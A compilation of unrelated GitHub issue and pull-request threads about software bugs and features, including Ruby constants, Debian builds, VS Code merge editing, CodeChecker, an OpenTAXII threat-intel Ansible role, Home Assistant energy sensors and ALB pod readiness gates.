This relies on Module#const_source_location which I would expect to be available post Ruby 2.7 and IMO produced the least brittle and invasive code.

I see that you've now fixed the const_source_location implementation in TruffleRuby, thank you. So this should be fine going forward, right?

So this should be fine going forward, right?

Yes.
Thanks for the reply, I'd think 1. or 2. would be fine, especially since the constant name should make it clear it shouldn't move, and hopefully there would be a test to catch this as well.
But const_source_location should work fine too. It's a bit brittle because it depends on which file defines T::Private first, vs having that constant declaration in the correct file.
Anyway, all good, just sharing my thoughts on this but no need to change anything.


build-all.sh seems to explicitly require the --install flag with --docker flag

build.sh script requires explicitly the --install flag when --docker flag is used but the earlier pelion-build-all.sh script seems to set --install flag automatically when the --docker flag was set.
Command being used to build the binaries:
./build-env/bin/build-all.sh -r --docker=$distroName --arch=$arch
The builds are failing when being built using the build scripts with --docker flag.
The bionic and buster builds for arm64 and amd64 are giving the following error:
>> building golang-providers/pe-golang-bin binary package INFO: Building Debian package! dpkg-buildpackage: info: source package pe-golang-bin dpkg-buildpackage: info: source version 1.14-1 dpkg-buildpackage: info: source distribution unstable dpkg-buildpackage: info: source changed by Krzysztof Bembnista<EMAIL_ADDRESS>dpkg-buildpackage: info: host architecture amd64  dpkg-source --before-build pe-golang-bin-1.14 dpkg-checkbuilddeps: error: Unmet build dependencies: debhelper (>= 9) dpkg-buildpackage: warning: build dependencies/conflicts unsatisfied; aborting dpkg-buildpackage: warning: (Use -d flag to override.)
And the focal build for amd64 and arm64 is giving the following error:
HEAD is now at a3c58f2 Merge pull request #29 from ARMmbed/release-4.6.0 INFO: Generating Debian source packages! mbed-fcc/deb/build.sh: line 59: PYTHONCMD: unbound variable

Hey @kbgl , can you take a look?

Hey @kbgl , can you take a look?

Should be fixed in #150

@kunal11191 can we also close this issue? It should be fixed now

@sameer2209-arm can you please confirm and close

@kunal11191 It is fixed. #150 fixed the issue.


Exports fail with undefined method 'each' for nil:NilClass

Note: For general questions and feature requests please leave a message
on Gitter: https://gitter.im/comfy/comfortable-mexican-sofa
Expected behavior
Running the export rake task should result in an export
Actual behavior
rake aborted!
NoMethodError: undefined method `each' for nil:NilClass
/Users/dchiu/.rbenv/versions/2.5.1/lib/ruby/gems/2.5.0/gems/comfortable_mexican_sofa-2.0.18/lib/comfortable_mexican_sofa/seeds.rb:84:in `export!'
/Users/dchiu/.rbenv/versions/2.5.1/lib/ruby/gems/2.5.0/gems/comfortable_mexican_sofa-2.0.18/lib/tasks/cms_seeds.rake:35:in `block (3 levels) in <main>'
/Users/dchiu/.rbenv/versions/2.5.1/lib/ruby/gems/2.5.0/gems/rake-12.3.2/lib/rake/task.rb:273:in `block in execute'
/Users/dchiu/.rbenv/versions/2.5.1/lib/ruby/gems/2.5.0/gems/rake-12.3.2/lib/rake/task.rb:273:in `each'
/Users/dchiu/.rbenv/versions/2.5.1/lib/ruby/gems/2.5.0/gems/rake-12.3.2/lib/rake/task.rb:273:in `execute'
/Users/dchiu/.rbenv/versions/2.5.1/lib/ruby/gems/2.5.0/gems/rake-12.3.2/lib/rake/task.rb:214:in `block in invoke_with_call_chain'

Steps to reproduce
Should be able to just run the command.
This line of code looks suspect. I think there's a typo here and classes should be klasses, so the classes list is always coming back nil no matter what you pass to the CLI.
System configuration
Rails version:
<IP_ADDRESS>
CMS version:
2.0.18
Ruby version:
2.5.1

Having the same issue.

Fixed in https://github.com/comfy/comfortable-mexican-sofa/commit/4aa580065fa6d34dfab170151c3594385208c11e


3-way editor doesn't open when opening conflicted file via cmd+click on integrated terminal

Type: Bug
My usual flow is to work with git from an integrated terminal. I often perform git rebase -i and then do git status to see what conflicts are there. If they are any, I cmd+click on a file to open it in VS Code. For over a month I was sure that the 3-way merge was broken because I just showed raw file when the config was on, and highlighted the changes correctly when the feature was off. Only today I've learned that it actually works OK, but only when the file is opened via the Source Control sidebar view.
Actual Result:

cmd+click on a conflicted file from integrated terminal opens raw file
click on a conflicted file from source control view opens 3-way diff

Expected Result:

cmd+click on a conflicted file from integrated terminal opens 3-way diff
click on a conflicted file from source control view opens 3-way diff

VS Code version: Code 1.70.0 (da76f93349a72022ca4670c1b84860304616aaa2, 2022-08-04T04:38:55.829Z)
OS version: Darwin x64 21.6.0
Modes:

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (12 x 2200)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: disabled_offdirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmetal: disabled_offmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okskia_renderer: enabled_onvideo_decode: enabledvideo_encode: enabledwebgl: enabledwebgl2: enabled

Load (avg)
4, 5, 5

Memory (System)
16.00GB (0.45GB free)

Process Argv
--crash-reporter-id 1559f191-bd50-40ac-9ff1-9a4360ac066b

Screen Reader
no

VM
0%

Extensions (66)

Extension
Author (truncated)
Version

vscode-openapi
42C
4.11.4

elixir-test-explorer
ada
0.4.0

markdown-mermaid
bie
1.14.3

better-toml
bun
0.3.2

vscode-markdownlint
Dav
0.47.0

vscode-eslint
dba
2.2.6

vscode-dash
dee
2.4.0

api-blueprint-viewer
dev
0.9.4

xml
Dot
2.5.1

vsc-material-theme
Equ
33.1.2

vsc-material-theme-icons
equ
1.2.2

prettier-vscode
esb
9.5.0

vscode-todo-plus
fab
4.18.4

code-runner
for
0.11.8

kotlin
fwc
0.2.26

vscode-pull-request-github
Git
0.48.0

gleam-syntax
gle
0.0.13

gc-excelviewer
Gra
4.2.55

vscode-test-explorer
hbe
2.21.1

vscode-drawio
hed
1.6.4

elixirlinter
iam
0.4.1

copy-current-file-path
ion
0.0.3

elixir-ls
Jak
0.10.0

plantuml
jeb
2.17.3

vscode-graphviz
joa
0.0.6

haml
kar
1.4.1

ruby-rubocop
mis
0.8.6

language-gettext
mro
0.2.0

vscode-docker
ms-
1.22.1

csharp
ms-
1.25.0

data-workspace-vscode
ms-
0.2.2

mssql
ms-
1.15.0

sql-bindings-vscode
ms-
0.2.1

sql-database-projects-vscode
ms-
0.17.2

python
ms-
2022.12.0

vscode-pylance
ms-
2022.8.10

jupyter
ms-
2022.7.1002181843

jupyter-keymap
ms-
1.0.0

jupyter-renderers
ms-
1.0.9

remote-containers
ms-
0.241.3

remote-ssh
ms-
0.84.0

remote-ssh-edit
ms-
0.80.0

remote-wsl
ms-
0.66.3

vscode-remote-extensionpack
ms-
0.21.0

cpptools
ms-
1.11.5

test-adapter-converter
ms-
0.1.6

ocaml-platform
oca
1.10.7

vetur
oct
0.36.0

erlang
pgo
0.8.4

phoenix
pho
0.1.1

material-icon-theme
PKi
4.19.0

wgsl
Pol
0.1.12

ruby
reb
0.28.1

vscode-commons
red
0.0.6

vscode-yaml
red
1.9.1

rust-analyzer
rus
0.3.1162

shader
sle
1.1.5

code-spell-checker
str
2.5.4

ayu
tea
1.0.5

errorlens
use
3.6.0

vscode-lldb
vad
1.7.3

beamdasm
Val
1.1.5

vim
vsc
1.23.2

vscode-ruby
win
0.28.0

markdown-all-in-one
yzh
3.4.3

material-theme
zhu
3.15.2

(11 theme extensions excluded)

A/B Experiments
vsliv368cf:30146710
vsreu685:30147344
python383cf:30185419
vspor879:30202332
vspor708:30202333
vspor363:30204092
vstes516:30244333
vslsvsres303:30308271
pythonvspyl392:30443607
vserr242cf:30382550
pythontb:30283811
vsjup518:30340749
pythonptprofiler:30281270
vsdfh931cf:30280410
vshan820:30294714
vstes263:30335439
vscoreces:30445986
pythondataviewer:30285071
vscod805cf:30301675
binariesv615:30325510
bridge0708:30335490
bridge0723:30353136
vsaa593:30376534
pythonvs932:30410667
wslgetstarted:30449410
cppdebug:30492333
pylanb8912:30529769
vsclangdc:30486549
c4g48928:30535728
hb751961:30543456
dsvsc012:30540252

@hediet, could you please help triaging this? Thanks!

Duplicate of #157691 and #153800


Cleanup debug warnings

Is your feature request related to a problem? Please describe.
When opening the program in the Godot engine, there are a lot of debug warnings. These warnings should be resolved. Most of these are incredibly simple to solve and a some of them could solve potential future bugs.
Warnings, while seeming harmless, could cause bigger issues when we create a release. It's good practice not to ignore them.
Describe the solution you'd like
Resolve all debug warnings. The debugger should give no warnings or errors when running the project.
Describe alternatives you've considered
There are two alternatives:

Debug warnings can be ignored in the project settings
We can just actually ignore the yellow text that pops up in the editor

Debug warnings were cleared as of #39


ql: tests: fix simulation tests with iverilog

Signed-off-by: Alessandro Comodi<EMAIL_ADDRESS>This PR fixes some of the issues with iverilog tests:.

The cells_sim.v path from the yosys share dir was not correct
Iverilog needs the cells_sim.v file generated in the quicklogic flow as well as it contains some cells that are not present in the yosys techlib (e.g. F_FRAG, etc.). The issue is that cells_sim.v is a combination of all the sim.v files that are also used to generate the model/pb_types in v2x, hence they include all the delay data, and extra attributes that are not needed for simulation. The issue with iverilog is that it has a limit for what regards the input size, which is exceeded by the generated cells_sim.v.
To overcome the issue, I have added a regexp to remove all the v2x-related attributes when concatenating the verilog sim files.

This PR is to address https://github.com/QuickLogic-Corp/symbiflow-arch-defs/issues/97.
There are other issues preventing the all_ql_tests to go green on CI, for the time being, I have restored the all_ql_tests, which will result in red CI.

@acomodi : this merge caused the travis CI fail:
https://travis-ci.com/github/QuickLogic-Corp/symbiflow-arch-defs

Yes, I have seen that the issue with the multithread build is still present, I need to find another solution for that.
I will get another PR to temporarily disable the all_ql_tests, so we have green CI on master.
Then, we will need to make sure that all PRs go green prior to merging, so that the quicklogic-upstream-rebase branch is always green.


TypeError: cannot pickle '_thread._local' object

Describe the bug
When I use the command codechecker server I got this error. Here are the details:
[INFO 2022-02-24 18:34] - Checking configuration database ...
[INFO 2022-02-24 18:34] - Database is up to date.
[INFO 2022-02-24 18:34] - Status of products:
-------------------------------------------------------------------------------------------------------------------------------------------------------
Product endpoint | Database status         | Database location                         | Schema version in the database | Schema version in the package
-------------------------------------------------------------------------------------------------------------------------------------------------------
Default          | Database is up to date. | /Users/debris/.codechecker/Default.sqlite | fb356f0eefed (up to date)      | fb356f0eefed
-------------------------------------------------------------------------------------------------------------------------------------------------------
[INFO 2022-02-24 18:34] - Garbage collection for product 'Default' started...
[INFO 2022-02-24 18:34] - Garbage collection finished.
[INFO 2022-02-24 18:34] - Searching for SSL key at /Users/debris/.codechecker/key.pem, cert at /Users/debris/.codechecker/cert.pem, not found...
[INFO 2022-02-24 18:34] - Falling back to simple, insecure HTTP.
[INFO 2022-02-24 18:34] - Server waiting for client requests on [localhost:8001]
Traceback (most recent call last):
  File "/Users/debris/miniconda3/lib/python3.8/site-packages/codechecker_common/cli.py", line 208, in main
    sys.exit(args.func(args))
  File "/Users/debris/miniconda3/lib/python3.8/site-packages/codechecker_server/cmd/server.py", line 436, in __handle
    main(args)
  File "/Users/debris/miniconda3/lib/python3.8/site-packages/codechecker_server/cmd/server.py", line 1002, in main
    server_init_start(args)
  File "/Users/debris/miniconda3/lib/python3.8/site-packages/codechecker_server/cmd/server.py", line 972, in server_init_start
    server.start_server(args.config_directory,
  File "/Users/debris/miniconda3/lib/python3.8/site-packages/codechecker_server/server.py", line 1092, in start_server
    p.start()
  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/process.py", line 121, in start
    self._popen = self._Popen(self)
  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/context.py", line 224, in _Popen
    return _default_context.get_context().Process._Popen(process_obj)
  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/context.py", line 284, in _Popen
    return Popen(process_obj)
  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/popen_spawn_posix.py", line 32, in __init__
    super().__init__(process_obj)
  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/popen_fork.py", line 19, in __init__
    self._launch(process_obj)
  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/popen_spawn_posix.py", line 47, in _launch
    reduction.dump(process_obj, fp)
  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/reduction.py", line 60, in dump
    ForkingPickler(file, protocol).dump(obj)
TypeError: cannot pickle '_thread._local' object

CodeChecker version
6.18.0
To Reproduce
Steps to reproduce the behaviour:

Run command 'codechecker server'
See error

Expected behaviour
I want to start the service and visit the webpage of codechecker through typing http://localhost:8001 in my browser.
Desktop (please complete the following information)

OS: macOS Big Sur Version 11.4
Browser: Chrome

Additional context
I install the codechecker through the command pip install codechecker according to here
The version of pip :
->pip -V
pip 21.3.1 from /opt/homebrew/lib/python3.9/site-packages/pip (python 3.9)

There seems something wrong with the _Popen function in  File "/Users/debris/miniconda3/lib/python3.8/multiprocessing/process.py" at line 77:
def _Popen(self):
    raise NotImplementedError

But I don't know how to fix if

I encountered the same error on MacOS Monterey. Was able to get the server to run by using python3.7.

@y-Adrian @MisterMartin Could you please retry using a newer CodeChecker version? We have recently changed multiprocessing-related library in 6.23: #4076, #4118.


Adding Energy

Looks good to me!

Thanks, James! I've fixed a wrongly placed justifyContent attribute in one of MaterialUI Grid s. Please check if it's fixed the exception.


Transition mila serve to RemoteV2

TODOs:

[ ] Rebase off of #112
[ ] Finish refactoring mila serve

This PR makes mila serve (...) commands use the new RemoteV2 class (which supports SSH keys with passphrases and clusters with 2FA enabled.

Too old and stale. Will start over in a new branch.


update - how to detect levain upgrade? Especially at levain shell command

Depends on #6.
We should monitor the releases at GitHub and use the latest release as another repository, upfront in the repository chain.
We will create another problem... How do we use the new Levain version to run the upgrade?
I believe we can live with that :-)

The Levain upgrade is not that easy... We have a running Deno that needs an upgrade as well.
When we try to save the previous version, the "SAVE-DEL" activity encounters an error. This happens because the deno.exe is opened.
Perhaps the best way to implement this is to have a "bootstrap" class that checks for upgrades and perform the upgrade before loading levain.

The Levain upgrade is not that easy... We have a running Deno that needs an upgrade as well.
When we try to save the previous version, the "SAVE-DEL" activity encounters an error. This happens because the deno.exe is opened.
Perhaps the best way to implement this is to have a "bootstrap" class that checks for upgrades and perform the upgrade before loading levain.

Perhaps we should start a new shell with the new Levain version

Perhaps we should start a new shell with the new Levain version

Another approach is to stop treating levain as a regular recipe. Perhaps we should keep it in another directory. Or we could always use the levain bootstrap to load levain.

Another approach is to stop treating levain as a regular recipe. Perhaps we should keep it in another directory. Or we could always use the levain bootstrap to load levain.

Release 0.35.0+ solves this


METRON-115 Fetch Threat Intel Data using TAXII

Created an Ansible role that performs automated deployment and setup of OpenTAXII services.  Functionality has also been added to fetch threat intel data from 3rd parties using TAXII.
This role has not been integrated into any of the deployments; Amazon or Vagrant.  Other things to keep in mind...

Python 2.7 is needed to support OpenTAXII, but CentOS 6 comes with Python 2.6.  The centos-release-scl repository is used to install Python 2.7 without impacting the existing Python 2.6.

OpenTAXII is installed in a virtual environment to maintain isolation.

The installation is currently backed by a sqlite database.  OpenTAXII can be configured with a proper database like MySQL, but that work has not been done.

OpenTAXII
Installs OpenTAXII as a deamon that can be launched via a SysV service script.  The complementary client implementation, Cabby is also installed.
OpenTAXII is a robust Python implementation of TAXII Services that delivers a rich feature set and friendly pythonic API.  TAXII (Trusted Automated eXchange of Indicator Information) is a collection of specifications defining a set of services and message exchanges used for sharing cyber threat intelligence information between parties.
Getting Started
After deployment completes the OpenTAXII service is installed and running.  A set of Hail a TAXII threat intel collections have been defined and configured.  Use the status option to view the collections that have been defined.
$ service opentaxii status
Checking opentaxii...                             Running
guest.phishtank_com                                0
guest.Abuse_ch                                     0
guest.CyberCrime_Tracker                           0
guest.EmergingThreats_rules                        0
guest.Lehigh_edu                                   0
guest.MalwareDomainList_Hostlist                   0
guest.blutmagie_de_torExits                        0
guest.dataForLast_7daysOnly                        0
guest.dshield_BlockList                            0

Notice that each collections contain zero records.  None of the data is automatically synced during deployment.  To sync the data manually use the sync option as defined below.  The following example does not provide a begin and end time so the data will be fetched for the current day only.
# service opentaxii sync guest.blutmagie_de_torExits
2016-04-21 20:34:42,511 INFO: Starting new HTTP connection (1): localhost
2016-04-21 20:34:42,540 INFO: Response received for Inbox_Message from http://localhost:9000/services/inbox
2016-04-21 20:34:42,542 INFO: Sending Inbox_Message to http://localhost:9000/services/inbox
...
2016-04-21 20:34:42,719 INFO: Response received for Poll_Request from http://localhost:9000/services/poll
2016-04-21 20:34:42,719 INFO: Content blocks count: 1618, is partial: False

The OpenTAXII service now contains 1,618 threat intel records indicating Tor Exit nodes.
[root@source ~]# service opentaxii status
Checking opentaxii...                             Running
guest.phishtank_com                                0
guest.Abuse_ch                                     0
guest.CyberCrime_Tracker                           0
guest.EmergingThreats_rules                        0
guest.Lehigh_edu                                   0
guest.MalwareDomainList_Hostlist                   0
guest.blutmagie_de_torExits                        1618
guest.dataForLast_7daysOnly                        0
guest.dshield_BlockList                            0

Usage
A standard SysV script has been installed to manage OpenTAXII.  The following functions are available.
start stop restart the OpenTAXII service
status of the OpenTAXII service.  The command displays the collections that have been defined and the number of records in each.
$ service opentaxii status
Checking opentaxii...                             Running
guest.phishtank_com                                984
guest.Abuse_ch                                     45
guest.CyberCrime_Tracker                           482
guest.EmergingThreats_rules                        0
guest.Lehigh_edu                                   1030
guest.MalwareDomainList_Hostlist                   84
guest.blutmagie_de_torExits                        3236
guest.dataForLast_7daysOnly                        3377
guest.dshield_BlockList                            0

setup Initializes the services and collections required to operate the OpenTAXII service.  This will destroy all existing data.  The user is prompted to continue before any data is destroyed.
# service opentaxii setup
WARNING: force reset and destroy all opentaxii data? [Ny]: y
Stopping opentaxii                                ..Ok
2016-04-21T19:56:01.886157Z [opentaxii.server] info: api.persistence.loaded {timestamp=2016-04-21T19:56:01.886157Z, logger=opentaxii.server, api_class=SQLDatabaseAPI, event=api.persistence.loaded, level=info}
2016-04-21T19:56:01.896503Z [opentaxii.server] info: api.auth.loaded {timestamp=2016-04-21T19:56:01.896503Z, logger=opentaxii.server, api_class=SQLDatabaseAPI, event=api.auth.loaded, level=info}
2016-04-21T19:56:01.896655Z [opentaxii.server] info: taxiiserver.configured {timestamp=2016-04-21T19:56:01.896655Z, logger=opentaxii.server, event=taxiiserver.configured, level=info}
...
Ok

sync [collection] [begin-at] [end-at] Syncs the threat intel data available at Hail a TAXII.  If no begin and end date is provided then data is synced over the current day only.

collection Name of the collection to sync.
begin-at Exclusive begin of time window; ISO8601
end-at Inclusive end of time window; ISO8601

$ service opentaxii sync guest.phishtank_com
+ /usr/local/opentaxii/opentaxii-venv/bin/taxii-proxy --poll-path http://hailataxii.com/taxii-data --poll-collection guest.phishtank_com --inbox-path http://localhost:9000/services/guest.phishtank_com-inbox --inbox-collection guest.phishtank_com --binding urn:stix.mitre.org:xml:1.1.1 --begin 2016-04-21 --end 2016-04-22
2016-04-21 17:36:23,778 INFO: Sending Poll_Request to http://hailataxii.com/taxii-data
2016-04-21 17:36:23,784 INFO: Starting new HTTP connection (1): hailataxii.com
2016-04-21 17:36:24,175 INFO: Response received for Poll_Request from http://hailataxii.com/taxii-data
2016-04-21 17:36:24,274 INFO: Sending Inbox_Message to http://localhost:9000/services/guest.phishtank_com-inbox
...
2016-04-21 17:36:34,867 INFO: Response received for Poll_Request from http://localhost:9000/services/guest.phishtank_com-poll
2016-04-21 17:36:34,868 INFO: Content blocks count: 6993, is partial: False

Troubleshooting
Should you need to explore the installation, here are instructions on doing so.
OpenTAXII is installed in a virtual environment.  Before exploring the environment run the following commands to perform the necessary setup.  The specific paths may change depending on your Ansible settings.
export LD_LIBRARY_PATH=/opt/rh/python27/root/usr/lib64
export OPENTAXII_CONFIG=/usr/local/opentaxii/etc/opentaxii-conf.yml
cd /usr/local/opentaxii
. opentaxii-venv/bin/activate

Discover available services.
taxii-discovery --discovery http://localhost:9000/services/discovery
taxii-discovery --discovery http://hailataxii.com/taxii-data

Explore available collections.
taxii-collections --discovery http://localhost:9000/services/discovery
taxii-collections --discovery http://hailataxii.com/taxii-data

Read data from a collection.
taxii-poll --discovery http://localhost:9000/services/discovery -c guest.phishtank_com
taxii-poll --discovery http://hailataxii.com/taxii-data -c guest.phishtank_com --begin 2016-04-20

Manually load data into a collection.
taxii-push \
  --discovery http://localhost:9000/services/discovery \
  --dest phishtank \
  --content-file data.xml \
  --username guest \
  --password guest

Fetch data from a remote service and mirror it locally.
taxii-proxy --poll-path http://hailataxii.com/taxii-data \
            --poll-collection guest.phishtank_com \
            --inbox-path http://localhost:9000/services/guest.phishtank_com-inbox \
            --inbox-collection guest.phishtank_com \
            --binding urn:stix.mitre.org:xml:1.1.1 \
            --inbox-username guest \
            --inbox-password guest \
            --begin 2016-04-20

+1 this looks good

+1 nice job


Added an example and some explanations on procedural animation

I believe the documentation lacked a bit of information on procedural animation.
I added another code sample, makes the documentation a bit longer but i believe a second example made me think of the huge ressemblance to Blender's animation functionalities which helped understand better.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Don't display box-shadow

After downloading the file, box-shadow disappears from the PDF. How can this be corrected?

hi there, I would like to work on this issue. Could you please assign it to me. Also, I would like a bit more explanation about the issue.


Change icon of program group

Seems like it'd be dead simple to add as an option. Maybe not a now or soon feature but would be easy to implement down the line.

Completed in a recent commit


Added requirements for engage examples and corrected paths in chatGPT_example.

Adding requirements and correcting the paths resolves issues in 3/4 engage examples.
example_Generative_Engage.py still has issues with CUDA.

Testing on a intel-based Mac:

Example chatGPT: works, but I am not sure how to properly test the chat. If you do @oliver93mk, tell me and I will write it down in a Information GUI, for all to know.
Example scene shape classification: works, but I will add an information GUI, to describe what it does, as well as print the results in the GUI (currently they are only shown at the terminal)
Example generative Engage : returns a 27210 segmentation fault as soon as it is run.
Example Link Prediction: returns a 27429 segmentation fault as soon as it is run.

For Example chatGPT users need to insert their openAI key in the chatGPT.py file. In this case, chatGPT acts like an authoring tool with text, you can ask it to move objects around.
Example Link Prediction: works fine on windows. It simply trains different types of Auto Encoders

@aprotopsaltis Please check

OpenAI API Key was entered in ChatGPT.py
Scene generates ok
When entering a command to "move the cauterizer exactly on top of the table" (as in the commented description) the system becomes unresponsive
OpenAI reports that the API Key was used successfully

Same here (same intel-based mac)

there is no way we ask users to enter their chatGPT key. Check pyEEL 2.8 example:
openai.api_key = os.getenv("OPENAI_API_KEY")


Sensors in energy wrong

Hi!
Ive tried to add the ferroamp integration in the energy tab of HA. But all the sensors are wrong. For example total solar is the total solar produced day. What you want is solar power. But i cant choose that. The readings is completely of the board. Compering with the FA cloud.
Jus to be clear. The sensors are correct outside the energy part. But inside you cant chose the correct ones.

I think you misunderstand what the energy dashboard is using. It's an "energy" dashboard and not a "power" dashboard so the sensors that you can choose from is correct. See the Energy Dashboard for more information on how to configure it correctly.

If you look at the realtime dashboard you can see that the readings is wrong.
I get what you are doing but the realtime is wrong. You need to add the realtime sensors and let HA sample the data.
Can you add the other sensors so I at least can use it as intended?
------- Original Message -------
On Friday, September 29th, 2023 at 7:38 AM, Joakim Olsson @.***> wrote:

I think you misunderstand what the energy dashboard is using. It's an "energy" dashboard and not a "power" dashboard so the sensors that you can choose from is correct. See the Energy Dashboard for more information on how to configure it correctly.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

Can you add
sensor.ferroamp_consumption_power
sensor.ferroamp_grid_power
sensor.ferroamp_solar_power
Thats the sensors needed to get the realtime working
------- Original Message -------
On Friday, September 29th, 2023 at 8:35 AM, bluboy @.***> wrote:

If you look at the realtime dashboard you can see that the readings is wrong.
I get what you are doing but the realtime is wrong. You need to add the realtime sensors and let HA sample the data.
Can you add the other sensors so I at least can use it as intended?
------- Original Message -------
On Friday, September 29th, 2023 at 7:38 AM, Joakim Olsson @.***> wrote:

I think you misunderstand what the energy dashboard is using. It's an "energy" dashboard and not a "power" dashboard so the sensors that you can choose from is correct. See the Energy Dashboard for more information on how to configure it correctly.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

Those sensors already exists @bluboyo ?
I am using those for my realtime energy card.

Yes but you cant choose them in the HA energy part. If you make your own sure. But the point is to use the energy tab and have it all there.
regards
-------- Originalmeddelande --------
Den 29 sep. 2023 08:53, robinostlund skrev:

Those sensors already exists @.***(https://github.com/bluboyo) ?
I am using those for my realtime energy card.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>

No it isn't possible to use them for ha energy part as the requirement there is to use total increasing values, so you should use these sensors defined in: https://github.com/henricm/ha-ferroamp#energy-dashboard
Power is newer going to be total increasing

I understand that. But if you look at the realtime dashboard you can see that the readings are total. Not realtime. The animation is moving. Thats means realtime.
So realtime data and let HA be the database. Then then statistics will come with time.
regards
-------- Originalmeddelande --------
Den 29 sep. 2023 09:05, robinostlund skrev:

No it isn't possible to use them for ha energy part as the requirement there is to use total increasing values, so you should use these sensors defined in: https://github.com/henricm/ha-ferroamp#energy-dashboard
Power is newer going to be total increasing
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>

HA energy dashboard isn't realtime, it updates the values every hour based from the total counters.
Are you using another realtime dashboard integration?

there is a realtime part of the HA dashboard. Looks like the ferroamp.
------- Original Message -------
On Friday, September 29th, 2023 at 9:09 AM, robinostlund @.***> wrote:

HA energy dashboard isn't realtime, it updates the values every hour based from the total counters.
Are you using another realtime dashboard integration?
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>

Hmm, i think we need more information, where is the realtime part documented from HA? I haven't seen any support for realtime from Homeassistant, only by using custom components.

Look at these screenshots. Should look like the FA dashboard. but its says im using 20,2 kwh when its 2.1
I havent looked at the documentation. This is just logic.

Ahaa yes, but what you are searching for isn't supported by HA. HA energy dasbhoard is using kWh to count the usage and is not providing live data. What you are searching for is my previous example by using the power flow card which will show you a dashboard like in Ferroamp portal :) HA Energy Dashboard = kWh, not Power (W).

Then that dashboard from HA is pointless. Should be removed and just show statistics. Il check out your dashboard :)

HA dasbhoard is for showing your daily usage so you can keep track of your usage and cost, as kWh is energy and kW is power. 2 different things :). So go to HACS and install power flow card and provide my settings, then you will have what you are searching for :)

Thank you. Worked like a charm. But HA should still remove that animation. Per day isnt really what you expect form a moving animation.
------- Original Message -------
On Friday, September 29th, 2023 at 9:28 AM, opsiorobinostlund @.***> wrote:

HA dasbhoard is for showing your daily usage so you can keep track of your usage and cost, as kWh is energy and kW is power. 2 different things :). So go to HACS and install power flow card and provide my settings, then you will have what you are searching for :)
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>

Well don't really agree, i like it, but feel free to bring that up with the HA team :)

Hehe. Anyway thx for the integration!
------- Original Message -------
On Friday, September 29th, 2023 at 9:45 AM, robinostlund @.***> wrote:

Well don't really agree, i like it, but feel free to bring that up with the HA team :)
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>

Closing this now that all is sorted. 😊


Pod readiness gates

This adds a feature to set the status of pod readiness gates on pods that are registered with an ALB. See added documentation for details of implementation.
Todo:

[x] fix up unit tests, add test cases for pod readiness gates
[x] test manually

This closes #905.

/remove-lifecycle stale

+1 on this feature, we'd love to get it

/remove-lifecycle

/remove-lifecycle rotten

I have continued working on this. It's currently in a usable state and tested manually. I will follow up with unit tests.

/ok-to-test

@M00nF1sh ready for review

@devkid
Thanks sooo much for implementing this. I'll dive into the code today. some high-level thoughts would like to discuss:

should we simplify to use a single readiness gate instead of targetGroup?  (personally I favor your current approach)
pros: easy for user usage before we have mutating webhook to automatically inject it
cons: harder to implement. Needs to bookkeeping all targetGroup status.
cons: cannot opt-out readiness gate for specific targetGroup.(not sure whether there is a use case for this)
should we have a timeout setting like 5 minutes. If pod didn't become healthy within 5 minute, unblock the readiness gate. (to prevent deployment lock for wrong settings, e.g. security groups).

1. should we simplify to use a single readiness gate instead of per targetGroup?  (personally I favor your current approach)

I think we should start with the per-target group approach. We can add the per-ingress functionality later if required.

2. should we have a timeout setting like 5 minutes. If pod didn't become healthy within 5 minute, unblock the readiness gate. (to prevent deployment lock for wrong settings, e.g. security groups).

I don't think we should have a timeout for this. The whole idea of readiness gates is that they should block deployments if the pods don't get registered in the load balancer (for whatever reason). Progressing with deployment when the readiness gate is not ok yet will most likely bring the service down eventually (e.g. when – for any reason – the ALB ingress controller is down).

overall looks good to me 👍 just we should remove the target-health-reconciliation-strategy.

@M00nF1sh removed the strategy and interval. It uses now healthCheckInterval * healthCheckThreshold for the time.After and afterwards only healthCheckInterval.

@M00nF1sh is there anything else that prevents from merging? Or do you need to coordinate this with the v2 work?

@devkid
There isn't, and we should get this into v1.1.6 🤣 . Let me do a test for the code logic and ship this by EOD.

/woof


Create MapX, ConcurrentMapX and PMapX mutable and persistent Map eXtension class

Similar to CollectionX extensions for collections, but for maps.
biMap(BiFunction<>)
map(Function<? super K, ? extends KR> keyMapper,Function<? super V, ? extends VR> valueMapper)
foldKeys
foldValues
etc.

Completed for MapX and PMapX concurrentMapX on hold
completed in 1.0.0-RC1 release of cyclops-react


Handling network partitions

I wanted to ask about the way one should handle network partitions in the case of EPH. When running EventHub peer through EPH, the Start method calls scheduler's Run method which will run forever, retrying any connections lost.
However, in a production environment, we would love to be able to, if our services happen to become misconfigured (and loose network connectivity), to let them fail as quickly possible. Otherwise, we run the risk of having a misconfigured environment and events accumulating in the EventHub with no reliable receivers and no way of knowing that there is a problem in the cluster.
In other publisher-subscriber systems (e.g. NATS), we have worked with callback handlers in case of disconnect events and such. Do you think that it might be reasonable to implement something like this to the EPH, or do you think that EPH should handle such circumstances differently?
Thanks.

Awesome question!
Let me preface that I don't particularly like EPH, though it does help folks who are looking for a relatively simple solution to balancing work across consumers dynamically.
Callback handlers could be used and is an option. Perhaps, they would be optionally passed into the EPH constructor. Is that how you'd really want to interact with EPH?
